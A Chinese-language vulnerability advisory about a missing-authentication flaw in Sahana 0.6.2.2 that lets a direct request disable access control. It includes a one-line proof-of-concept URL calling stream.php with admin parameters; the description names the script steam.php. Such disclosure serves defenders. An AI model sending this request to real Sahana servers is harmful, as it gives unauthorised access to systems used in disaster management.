发布日期：2010-03-19
更新日期：2010-03-23

受影响系统：

Sahana Group Sahana 0.6.2.2

描述：

---

BUGTRAQ  ID: 38863

Sahana是一款免费的开源疾病管理系统。

Sahana的steam.php脚本缺少认证机制，用户可以通过直接请求该文件禁用认证，获得非授权访问。

<*来源：Christopher
  
  链接：http://secunia.com/advisories/39020/
        http://marc.info/?l=bugtraq&m=126885472427165&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://victim/<sahana_path>/stream.php?mod=admin&act=acl_enable_acl

建议：

---

厂商补丁：

Sahana Group
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.sahanafoundation.org

浏览次数：1988
严重程度：0（网友投票）